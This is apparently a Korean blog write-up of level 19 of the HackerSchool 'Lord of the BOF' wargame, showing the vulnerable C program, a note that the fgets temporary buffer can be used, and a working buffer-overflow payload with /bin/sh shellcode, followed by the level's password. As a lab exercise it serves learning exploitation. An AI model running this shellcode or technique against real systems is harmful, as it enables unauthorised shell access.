HackerSchool LOB Level 19
Hacking/LOB(RedHat)

HackerSchool LOB Level 19

/*

        The Lord of the BOF : The Fellowship of the BOF

        - xavius

        - arg

*/


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


main()

{

char buffer[40];

char *ret_addr;


// overflow!

fgets(buffer, 256, stdin);

printf("%s\n", buffer);


if(*(buffer+47) == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}


if(*(buffer+47) == '\x08')

        {

                printf("binary image retbayed you, too!!\n");

                exit(0);

        }


// check if the ret_addr is library function or not

memcpy(&ret_addr, buffer+44, 4);

while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function

{

if(*ret_addr == '\xc9'){ // leave

if(*(ret_addr+1) == '\xc3'){ // ret

printf("You cannot use library function!\n");

exit(0);

}

}

ret_addr++; 

}


        // stack destroyer

        memset(buffer, 0, 44);

memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));


// LD_* eraser

// 40 : extra space for memset function

memset(buffer-3000, 0, 3000-40);

}

※ 스택사용불가, 공유라이브러리 사용불가, leave,ret 사용불가 LE_PRELOAD 사용불가

fgets 함수에서 입력을 받고 그값을 임시버퍼에 저장하는데 임시버퍼를 이용하여 풀면된다.



strace 로 보면 0x40015000이 fgets 함수의 임시버퍼인것 같다.

페이로드: (python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x00\x50\x01\x40"';cat) | ./xavius




비밀번호는 throw me away 이다.



'Hacking > LOB(RedHat)' 카테고리의 다른 글

HackerSchool LOB Level 18  (0) 2015.09.30
HackerSchool LOB Level 17  (0) 2015.09.26
HackerSchool LOB Level 16  (0) 2015.08.29
HackerSchool LOB Level 15  (0) 2015.08.27
HackerSchool LOB Level 14  (0) 2015.08.10